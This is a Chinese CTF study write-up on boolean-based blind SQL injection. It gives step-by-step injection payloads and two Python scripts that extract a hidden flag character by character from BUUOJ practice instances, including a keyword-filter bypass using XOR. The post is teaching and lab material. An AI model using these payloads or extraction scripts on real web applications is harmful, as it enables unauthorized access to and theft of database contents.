寒假2.6--SQL注入之布尔盲注

知识点

 原理:通过发送不同的SQL查询来观察应用程序的响应,进而判断查询的真假,并逐步推断出有用的信息

适用情况:一个界面存在注入,但是没有显示位,没有SQL语句执行错误信息,通常用于在无法直接获得查询结果的情况下推断数据库信息(比如像今天这题一样很多关键字都被禁用了)

手动输入解题步骤:

1.判断注入点及注入类型:

若为整型注入:

1 and 1=1 //正常回显
1 and 1=2 //无回显

若为字符型注入(同时判断是单引号型注入还是双引号型):

1’ and 1=1 # //正常回显
1' and 1=2 # //无回显
或
1" and 1=1 # //正常回显
1" and 1=2 # //无回显

也有一些题会把后面的#换成--+,两种构造方式都是为了避免原SQL语句后续部分对注入构造的干扰

#主要适用于MySQL数据库,在其他数据库中使用可能会导致语法错误

--是标准SQL的单行注释符

e.g.

注入id=1 and 1 = 1--+和id=1 and 1 = 2--+,回显正常,排除数字型注入

注入id=1' and 1 = 1--+也正常,但是当注入id=1' and 1 = 2--+时,回显如下,说明是字符型注入,单引号闭合

2.推测数据库信息

(1)推测数据库名长度

(2)得到数据库名

函数:database()返回数据库名,length()获取字符串长度

select length(database());

当测试语句输入的过程中有不一样的,就说明得到了正确的数据库名长度,一般在输入到3或4就会得到数据库名长度了

爆长度:

法一:

1' and length(database()) =1  #
1' and length(database()) =2  #
1' and length(database()) =3  #
1' and length(database()) =4  #
……

 法二:

length(str)                             //返回str字符串的长度。
1 and length(database())=4 //判断数据库名字的长度是否为4
1 and length(database())>4 //判断数据库名字长度是否大于4

e.g.

判断得到数据库名的长度为4

爆库名:

函数:ascii()返回字符的ASCII码,substr(str,start,length)返回字符串从str的start开始往后截取length长度的字符

1 and substring(database(),1,1)='q'         //判断数据库第一个字母是否为q
1 and substring(database(),2,1)='q'        //判断数据库名字第二个字母是否为q
mid(str,pos,len)                          //跟上面的用法一模一样,截取字符串

3.爆表

(1)表数量

1 and (select count(table_name) from information_schema.tables where table_schema=database())=1
1 and (select count(table_name) from information_schema.tables where table_schema=database())=2
1 and (select count(table_name) from information_schema.tables where table_schema=database())=3
1 and (select count(table_name) from information_schema.tables where table_schema=database())=4
……

(2)根据库名和表数量爆表名长度

limit i,1
i从0开始(第i+1张表)

e.g.

第一张表表名长度:
?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=1
……
?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=4
第二张:
?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 1,1)=1
……
?id=1 and length(select table_name from information_schema.tables where table_schema=database() limit 1,1)=4

(3)根据表名长度爆表名

substr((select…limit i,1),j,1)
    i从0开始(第i+1张表),j从1开始(第j个字符)

 再大循环i次(遍历所有表),内嵌循环j次(表名的所有字符),i是表下标-1,j是字符下标,再内嵌循环k从a到z(假设表名全是小写英文字符)尝试获取每个表的表名

4.爆列

(1)爆列数量

和爆表数量一样

(2)根据表名和列数量爆列名长度

操作同对当前库爆表名长度的步骤,i是列标-1

limit i,1
i从0开始(第i+1列)

 (3)爆列名

i是列标-1,j是字符下标

substr((select…limit i,1),j,1))
i从0开始(第i+1列),j从1开始(第j个字符)

5.爆数据

flag有固定的格式,以右花括号结束,假设flag有小写英文字母、下划线、花括号构成,由于不知道flag长度,要一个无限循环,定义计数符j,内嵌循环i遍历小写、下划线和花括号,匹配到字符后j++,出循环的条件是当前i是右花括号,即flag结束

substr((select…),j,1)
    j从1开始(flag的第j个字符)

脚本

手工布尔盲注通常比较麻烦,也可以选择写个脚本来进行自动化突破

找了一个写得比较好的脚本

import requests as re

# 设置需要sql注入的网站
url = 'http://cbbacb03-13d3-4374-8fef-7da0e51dbbb1.node5.buuoj.cn:81/index.php'

# 提前做好接受flag的变量
flag = ''

# 循环函数
for i in range(1, 1000):
    print(f'{i}:\n')
    # 这里设置最大值和最小值使用二分化的方法跑效率比一般的快超级多
    high = 128
    low = 30
    # 这里设置循环函数,如果最大值小于最小值那么退出
    while low <= high:
        mid = (low + high)//2
        # 爆库名
        # sql1 = f'1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{i},1))={mid})^1'
        # sql2 = f'1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{i},1))>{mid})^1'
        # sql3 = f'1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{i},1))<{mid})^1'
        # 爆表名
        # sql1 = f'1^(ascii(substr((select(group_concat(table_name))from(mysql.innodb_table_stats)where(table_schema=database())),{i},1))={mid})^1'
        # sql2 = f'1^(ascii(substr((select(group_concat(table_name))from(mysql.innodb_table_stats)where(table_schema=database())),{i},1))>{mid})^1'
        # sql3 = f'1^(ascii(substr((select(group_concat(table_name))from(mysql.innodb_table_stats)where(table_schema=database())),{i},1))<{mid})^1'
        # 爆字段名
        sql1 = f'1^(ascii(substr((select(flag)from(flag)),{i},1))={mid})^1'
        sql2 = f'1^(ascii(substr((select(flag)from(flag)),{i},1))>{mid})^1'
        sql3 = f'1^(ascii(substr((select(flag)from(flag)),{i},1))<{mid})^1'

        # 设置id值
        data1 = {
            'id': sql1
        }
        data2 = {
            'id': sql2
        }
        data3 = {
            'id': sql3
        }

        # 通过post传入参数然后给r1 r2 r3
        r1 = re.post(url=url, data=data1)
        r2 = re.post(url=url, data=data2)
        r3 = re.post(url=url, data=data3)

        # Hello出现在页面时说明是对的,输出flag
        if 'Hello' in r1.text:
            flag += chr(mid)
            print(flag)
            break
        # Hello出现在页面时说明flag的ascii值大于最小值和最大值的中间值,所以缩小范围到中间值到最大值,一步一步缩小找到flag
        if 'Hello' in r2.text:
            low = mid + 1
        # Hello出现在页面时说明flag的ascii值大于最小值和最大值的中间值,所以缩小范围到中间值到最大值,一步一步缩小找到flag
        if 'Hello' in r3.text:
            high = mid - 1
    continue

print(flag)

例题

[CISCN2019 华北赛区 Day2 Web1]Hack World

打开界面,提醒flag值在flag表的flag列中

输入数字1,2时,回显不同 ,直到输入3,后面的都一样

随便输入一个字母,回显都一样,提示类型错误,猜测为数字型注入

输入1'试试

尝试注入并查询

1 union select flag from flag

回显SQL注入检测,说明有东西被过滤了

看一下源代码,没有什么收获

用bp抓包再用fuzz字典爆破一下试试

 从回显来看,length=535的字符全部被过滤了,包括union、select、extracvalue、updatexml、sleep等常见注入关键字,所以只能选择布尔盲注了

测试一下

1^1^1

1^0^1

这里用到的一个脚本参考了其他大佬的wp,但是因为运行的时候连接超时,所以做了适当延时

大致思路:(ascii(substr((select(flag)from(flag)),1,1))>32) 若成立,则会返回1,id=1时会回显出一段字符,根据是否回显,我们可以一个一个地将flag中的字符拆解出来

脚本:

import time
import requests
from requests.adapters import HTTPAdapter
from requests.packages.urllib3.util.retry import Retry

# 配置重试机制
retry_strategy = Retry(
    total=3,  # 最大重试次数
    backoff_factor=1,  # 重试间隔时间的增长因子
    status_forcelist=[429, 500, 502, 503, 504],  # 需要重试的 HTTP 状态码
    allowed_methods=["POST"]  # 允许重试的 HTTP 方法
)
adapter = HTTPAdapter(max_retries=retry_strategy)
http = requests.Session()
http.mount("https://", adapter)
http.mount("http://", adapter)

url = "http://f7cf7bbe-3b9b-4d11-ae04-7dd65d2fc943.node5.buuoj.cn:81/index.php"
result = ""
for i in range(1, 50):
    for j in range(32, 128):
        try:
            time.sleep(0.1)  # 适当延时,避免给目标服务器造成过大压力
            payload = "(ascii(substr((select(flag)from(flag)),{m},1))>{n})"
            # 设置超时时间为 10 秒
            response = http.post(url=url, data={'id': payload.format(m=i, n=j)}, timeout=10)
            if response.text.find('girl') == -1:
                result += chr(j)
                print(j)
                break
        except requests.exceptions.ConnectTimeout:
            print(f"请求超时,当前位置: {i}, 当前字符码: {j}")
        except requests.exceptions.RequestException as e:
            print(f"请求发生错误: {e}")
    print("正在注出flag:", result)
print("flag的值为:", result)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/965865.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Servlet笔记(下)

HttpServletRequest对象相关API 获取请求行信息相关(方式,请求的url,协议及版本) | API | 功能解释 | | ----------------------------- | ------------------------------ | | StringBuffer getRequestURL(); | 获取客户端…

QQ自动发送消息

QQ自动发送消息 python包导入 import time import pandas as pd import pyautogui import pyperclip图像识别函数封装 本程序使用pyautogui模块控制鼠标和键盘来实现QQ自动发送消息&#xff0c;因此必须得到需要点击位置的坐标&#xff08;当然也可以在程序中将位置写死&…

5.1计算机网络基本知识

5.1.1计算机网络概述 目前&#xff0c;三网融合(电信网络、有线电视网络和计算机网络)和宽带化是网络技术的发展的大方向&#xff0c;其应用广泛&#xff0c;遍及智能交通、环境保护、政府工作、公共安全、平安家居等多个领域&#xff0c;其中发展最快的并起到核心作用的则是计…

51单片机之冯·诺依曼结构

一、概述 8051系列单片机将作为控制应用最基本的内容集成在一个硅片上&#xff0c;其内部结构如图4-1所示。作为单一芯片的计算机&#xff0c;它的内部结构与一台计算机的主机非常相似。其中微处理器相当于计算机中的CPU&#xff0c;由运算器和控制器两个部分构成&#xff1b;…

13.PPT:诺贝尔奖【28】

目录 NO1234 NO567 NO8/9/10 NO11/12 NO1234 设计→变体→字体→自定义字体 SmartArt超链接新增加节 NO567 版式删除图片中的白色背景&#xff1a;选中图片→格式→删除背景→拖拉整个图片→保留更改插入→图表→散点图 &#xff1a;图表图例、网格线、坐标轴和图表标题…

RabbitMQ 从入门到精通:从工作模式到集群部署实战(一)

#作者&#xff1a;闫乾苓 文章目录 RabbitMQ简介RabbitMQ与VMware的关系架构工作流程RabbitMQ 队列工作模式及适用场景简单队列模式&#xff08;Simple Queue&#xff09;工作队列模式&#xff08;Work Queue&#xff09;发布/订阅模式&#xff08;Publish/Subscribe&#xff…

DFX(Design for eXcellence)架构设计全解析:理论、实战、案例与面试指南*

一、什么是 DFX &#xff1f;为什么重要&#xff1f; DFX&#xff08;Design for eXcellence&#xff0c;卓越设计&#xff09;是一种面向产品全生命周期的设计理念&#xff0c;旨在确保产品在设计阶段就具备**良好的制造性&#xff08;DFM&#xff09;、可测试性&#xff08;…

【Elasticsearch】diversified sampler

作用就是聚合前的采样&#xff0c;主要是采样 它就是用来采样的&#xff0c;采完样后在进行聚合操作 random_sampler和diversified_sampler是 Elasticsearch 中用于聚合查询的两种采样方法&#xff0c;它们的主要区别如下&#xff1a; 采样方式 • random_sampler&#xff1a…

2月7号.

二叉树是一种特殊的树形数据结构&#xff0c;具有以下特点&#xff1a; 基本定义 节点的度&#xff1a;二叉树中每个节点最多有两个子节点&#xff0c;分别称为左子节点和右子节点。 子树的顺序性&#xff1a;二叉树的子树有左右之分&#xff0c;且顺序不能颠倒。 递归定义&…

openpnp2.2 - 环境搭建 - 编译 + 调试 + 打包

文章目录 openpnp2.2 - 环境搭建 - 编译 调试 打包概述笔记前置任务克隆代码库切到最新的tag清理干净编译工程关掉旧工程打开已经克隆好的openpnp2.2工程将IDEA的SDK配置为openjdk23 切换中英文UI设置JAVA编译器 构建工程跑测试用例单步调试下断点导出工程的JAR包安装install…

【复现论文】DAVE

网站&#xff1a; GitHub - jerpelhan/DAVE 下载完以后&#xff0c;阅读 readme文件 新建终端&#xff0c;打印文件树&#xff0c;不包含隐藏文件&#xff1a; 命令&#xff1a;tree -I .* . ├── LICENSE ├── README.md ├── demo.py ├── demo_zero.py ├── mai…

GB/T28181 开源日记[8]:国标开发速知速会

服务端源代码 github.com/gowvp/gb28181 前端源代码 github.com/gowvp/gb28181_web 介绍 go wvp 是 Go 语言实现的开源 GB28181 解决方案&#xff0c;基于GB28181-2022标准实现的网络视频平台&#xff0c;支持 rtmp/rtsp&#xff0c;客户端支持网页版本和安卓 App。支持rts…

完美解决phpstudy安装后mysql无法启动

phpstudy数据库无法启动有以下几个原因。 **一、**自己在电脑上安装了MySQL数据库,MySQL的服务名为MySQL,这会与phpstudy的数据库的服务名发生冲突&#xff0c;从而造成phpstudy中的数据库无法启动&#xff0c;这时我们只需要将自己安装的MySQL的服务名改掉就行。 但是&#…

grafana面板配置opentsdb

新增面板&#xff1a; 这里add-panel: 如果不是想新增面板而是想新增一行条目&#xff0c;则点击convert to row: 在新增的面板这里可以看到选择数据源 Aggregator&#xff1a;聚合条件&#xff0c;区分下第一行和第二行的aggregator&#xff0c;第一个是对指标值的聚合&…

论文翻译学习:《DeepSeek-R1: 通过强化学习激励大型语言模型的推理能力》

摘要 我们介绍了我们的第一代推理模型 DeepSeek-R1-Zero 和 DeepSeek-R1。DeepSeek-R1-Zero 是一个通过大规模强化学习&#xff08;RL&#xff09;训练的模型&#xff0c;没有经过监督微调&#xff08;SFT&#xff09;作为初步步骤&#xff0c;展示了卓越的推理能力。通过强化…

【Uniapp-Vue3】从uniCloud中获取数据

需要先获取数据库对象&#xff1a; let db uniCloud.database(); 获取数据库中数据的方法&#xff1a; db.collection("数据表名称").get(); 所以就可以得到下面的这个模板&#xff1a; let 函数名 async () > { let res await db.collection("数据表名称…

【自然语言处理】TextRank 算法提取关键词(Python实现)

文章目录 前言PageRank 实现TextRank 简单版源码实现jieba工具包实现TextRank 前言 TextRank 算法是一种基于图的排序算法&#xff0c;主要用于文本处理中的关键词提取和文本摘要。它基于图中节点之间的关系来评估节点的重要性&#xff0c;类似于 Google 的 PageRank 算法。Tex…

免费windows pdf编辑工具

Epdf&#xff08;完全免费&#xff09; 作者&#xff1a;不染心 时间&#xff1a;2025/2/6 Github: https://github.com/dog-tired/Epdf Epdf Epdf 是一款使用 Rust 编写的 PDF 编辑器&#xff0c;目前仍在开发中。它提供了一系列实用的命令行选项&#xff0c;方便用户对 PDF …

星闪开发入门级教程之安装编译器与小项目烧录

系列文章目录 星闪开发入门级教程 好久不见&#xff0c;已经好几年没有发文章了&#xff0c;星闪-作为中国原生的新一代近距离无线联接技术品牌。我想着写点东西。为了适合新手&#xff0c;绝对小白文。 文章目录 系列文章目录前言一、Hispark Studio1.安装Hispark Studio2.安…

Caused by: org.springframework.beans.factory.UnsatisfiedDependencyException解决办法

1.问题描述 在编写完一个功能后,第一次启动这个模块的启动类时,报以下错误, 2.文件解决 检查了controller,service和mapper,均未发现有问题,核对了依赖也未发现依赖冲突 在网上也找了资料,有总结的比较好的: controller层service层dao层注解是否都使用正确&#xff1f;接口…